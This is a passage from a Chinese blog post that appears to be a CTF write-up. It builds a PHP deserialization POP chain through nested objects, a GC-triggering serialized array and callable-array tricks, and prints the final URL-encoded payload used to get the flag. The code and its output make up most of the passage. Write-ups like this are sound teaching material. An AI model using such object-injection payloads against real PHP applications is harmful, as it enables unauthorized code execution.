                      echo "1号元素为:".$fn[1]."\n";
                  });
              }
          }
          $a = new a();
          $a->MeMeMe();
          ?>
              
          输出为:
          数组名为:name
          0号元素为:123
          1号元素为:234
          /*
          数组名为:name1
          0号元素为:1123
          1号元素为:1234
          */
          
        • 所以照猫画虎,就可以验证成功
          <?php
          class one{
              public $object;
          	public $year_parm=["Happy_func"];
          }
          ?>
          
      • 到现在,所有问题都得到了解决,那么,最终的payload如下
        <?php
        class one{
            public $object;
        	public $year_parm=["Happy_func"];
        }
        class second{
        	public $filename;  ///记得更改属性类型
        }
        class third{
        	private $string;
        	public function __construct() {
                $this->string = ["string"=>[new one(),"MeMeMe"]];
            }
        }
        $a=new one();
        ///将属性变成对象,以此保证在同一个类里,触发魔术方法
        $a->object=new second();
        ///继续将属性变回对象,以至于可以跳回one类,触发魔术方法
        $a->object->filename=new one();
        ///照猫画虎
        $a->object->filename->object=new third();
        ///触发GC
        echo urlencode(serialize(array($a,$b=null)));
        ?>
        
      • 输出为:
        a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3BN%3B%7D
        
      • 最后记得将value为空的key改为0,提交,即可获得flag屏幕截图 2025-05-06 192147

码字不易,若有错误还望不吝指出

posted @ 2025-05-06 20:00  水枪装尿,滋谁谁叫  阅读(40)  评论(0)    收藏  举报